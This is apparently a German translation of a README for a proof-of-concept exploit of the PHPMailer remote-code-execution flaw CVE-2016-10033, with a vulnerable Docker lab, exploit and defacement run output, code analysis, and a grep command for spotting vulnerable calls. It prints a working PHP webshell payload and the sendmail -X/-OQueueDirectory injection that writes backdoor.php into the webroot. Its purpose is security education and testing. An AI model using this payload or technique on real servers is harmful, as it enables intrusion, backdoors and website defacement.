
PHPMailer < 5.2.18 Remote-Code-Ausführungs-Exploit und verwundbarer Container
PHPMailer ist die weltweit beliebteste Transportklasse mit schätzungsweise 9 Millionen Nutzern weltweit. Die Downloads wachsen täglich erheblich weiter. Sie wird von vielen Open-Source-Projekten verwendet: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! und vielen mehr
PHPMailer vor Version 5.2.18 leidet unter einer Schwachstelle, die zu Remote Code Execution (RCE) führen kann. Die mailSend-Funktion im isMail-Transport in PHPMailer kann, wenn die Sender-Eigenschaft nicht gesetzt ist, entfernten Angreifern ermöglichen, zusätzliche Parameter an den mail-Befehl zu übergeben und dadurch beliebigen Code über ein " (Backslash-Doppelzeichen) in einer manipulierten From-Adresse auszuführen.
Um eine verwundbare Umgebung für deinen Test einzurichten, benötigst du Docker installiert und musst einfach den folgenden Befehl ausführen:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
Dadurch wird eine verwundbare Webanwendung auf deinem Host auf Port 8080 gestartet

Um dieses Ziel auszunutzen, führe einfach Folgendes aus:
./exploit host:port
Wenn du dieses verwundbare Image verwendest, kannst du einfach Folgendes ausführen:
./exploit localhost:8080
Nach der Ausnutzung wird eine Datei namens backdoor.php im Wurzelverzeichnis des Webverzeichnisses gespeichert. Der Exploit öffnet dir eine Shell, über die du Befehle an die Hintertür senden kannst:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
Und das war's – du hast deine Shell. Es gibt einen weiteren Exploit, der einen anderen Anwendungsfall veranschaulicht.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
Und wenn du die Seite erneut besuchst, wirst du Folgendes sehen:

Vor diesem Commit in class.phpmailer.php gibt es in einem bestimmten Szenario keinen Filter für Sonderzeichen in der E-Mail-Adresse des Absenders. Dieser Fehler kann über die mail-Funktion hier zu Remote Code Execution führen.
Bei der Analyse des Codes fällt auf, dass es in der Funktion mailSend() keinen Filter gibt:
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender wird direkt an die Variable $params angehängt, die in der Funktion validateAddress() gefiltert wurde. Da diese jedoch die RFC-3696-Spezifikation verwendet, erlaubt sie bestimmte Zeichen, die Probleme verursachen können.
In diesem Fall sind es Anführungszeichen:
Zusätzlich zum Zitieren mit dem Backslash-Zeichen können herkömmliche doppelte Anführungszeichen verwendet werden, um Zeichenfolgen zu umgeben. Zum Beispiel
"Abc@def"@example.com
"Fred Bloggs"@example.com
sind alternative Formen der ersten beiden Beispiele oben. Diese zitierten Formen werden selten empfohlen und sind in der Praxis ungewöhnlich, müssen aber, wie oben besprochen, von Anwendungen unterstützt werden, die E-Mail-Adressen verarbeiten. Insbesondere erscheinen die zitierten Formen häufig im Zusammenhang mit Adressen, die mit Übergängen von anderen Systemen und Kontexten verbunden sind; diese Übergangsanforderungen treten weiterhin auf, und da ein System, das eine benutzerbereitgestellte E-Mail-Adresse akzeptiert, nicht "wissen" kann, ob diese Adresse mit einem Legacy-System verbunden ist, müssen die Adressformen akzeptiert und in die E-Mail-Umgebung übergeben werden.
Du kannst die gesamte RFC hier lesen, wenn du möchtest. Außerdem gilt: Wenn die PHP-Version älter als 5.2.0 ist und PCRE nicht installiert ist, wird die Variable $patternselect in validateAddress() auf noregex gesetzt. Dadurch kann die Eingabe jede Regex-Überprüfung umgehen. Es wird nur eine kleine Überprüfung durchlaufen:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Dann geht der Codeablauf zur Funktion mailPassthru() über, die, wenn sie im safe_mode läuft, nicht durch diesen Fehler verwundbar ist, wie der folgende Code zeigt:
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Wenn jedoch nicht der safe_mode verwendet wird, wird unser spezieller Parameter an mail() übergeben, und wenn wir Glück haben, wird unsere Datei mit dem gewünschten Inhalt an der gewünschten Stelle geschrieben.
Die Ausnutzung der PHP-Funktion mail() ist nichts Neues, aber sie ist immer noch aktuell und wird weiterhin verwendet. Um zu erklären, wie sie funktioniert, schauen wir uns an, wie die Funktion mail() definiert ist:
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Es gibt verschiedene Ausnutzungsmethoden für unterschiedliche Ergebnisse. Wir konzentrieren uns auf die Ausnutzung des 5. Parameters, um Remote Code Execution (RCE) zu erreichen. Der Parameter $additional_parameters wird verwendet, um zusätzliche Flags als Befehlszeilenoptionen an das Programm zu übergeben, das zum Senden der E-Mail konfiguriert ist. Diese Konfiguration wird durch die Variable sendmail_path definiert.
Ein Sicherheitshinweis aus der offiziellen PHP-Dokumentation:
Der Parameter additional_parameters kann verwendet werden, um zusätzliche Flags als Befehlszeilenoptionen an das Programm zu übergeben, das zum Senden der E-Mail konfiguriert ist, wie durch die sendmail_path-Konfigurationseinstellung definiert. Dies kann beispielsweise verwendet werden, um die Absenderadresse des Umschlags festzulegen, wenn sendmail mit der Option -f verwendet wird.
Dieser Parameter wird intern durch escapeshellcmd() maskiert, um die Befehlsausführung zu verhindern. escapeshellcmd() verhindert die Befehlsausführung, erlaubt aber das Hinzufügen zusätzlicher Parameter. Aus Sicherheitsgründen wird empfohlen, dass der Benutzer diesen Parameter bereinigt, um das Hinzufügen unerwünschter Parameter zum Shell-Befehl zu vermeiden.
In Anbetracht der zusätzlichen Parameter, die injiziert werden können, verwenden wir -X, um diesen Fehler auszunutzen. Mehr über den Parameter -X:
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
Es gibt auch einige andere interessante Parameter, die du kennen solltest:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
Und
-O option=value
Set option option to the specified value. This form uses long names.
Und für die Option -O ist QueueDirectory die interessanteste Option, da diese Option das Verzeichnis auswählt, in dem Nachrichten in die Warteschlange gestellt werden.
Wenn du die gesamte Liste der Parameter und Optionen lesen möchtest, führe einfach man sendmail aus oder lies sie online hier nach.
Basierend auf diesen Informationen und der Fähigkeit, mindestens einen der anderen Parameter zu kontrollieren, können wir den Host ausnutzen. Im Folgenden sind die Schritte für eine erfolgreiche Ausnutzung aufgeführt:
$additional_parameters und einen anderen mail()-Parameterwebroot sein (auch bekannt als /var/www/html bei anderen Systemen, /www in diesem Beispiel)system()-Payload, mit etwas Base64 und dem Sonderzeichen |, um die Analyse zu erleichtern.Denke daran, dass die Option -X die Logdatei schreibt, die neben den Loginformationen auch dein PHP-Payload enthält, und zwar in das Verzeichnis, das du angibst. Ein Beispiel für einen verwundbaren PHP-Code:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
Wenn du den obigen Code ausführst, wird eine Logdatei unter /www/backdoor.php erstellt. Das ist das Wesen dieses Exploits.
Im Folgenden das Payload, das in diesem Beispiel verwendet wird:
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
Du möchtest eine einfache Möglichkeit mit nur einem Befehl, um diese Schwachstelle aufzuspüren? Merke dir diesen magischen grep-Befehl!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
Wenn du ihn gegen dieses Repository ausführst, erhältst du:
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
Diese Schwachstelle wurde von Dawid Golunski entdeckt.
Dieses oder frühere Programme dienen NUR zu Bildungszwecken. Verwende es nicht ohne Erlaubnis. Der übliche Haftungsausschluss gilt, insbesondere die Tatsache, dass ich (opsxcq) nicht für Schäden haftbar bin, die durch direkte oder indirekte Nutzung der Informationen oder Funktionen dieser Programme entstehen. Der Autor oder irgendein Internetanbieter übernimmt KEINE Verantwortung für den Inhalt oder die missbräuchliche Verwendung dieser Programme oder deren Ableitungen. Durch die Verwendung dieser Programme akzeptierst du, dass jeglicher Schaden (Datenverlust, Systemabsturz, Systemkompromittierung usw.), der durch die Verwendung dieser Programme verursacht wird, nicht in der Verantwortung von opsxcq liegt.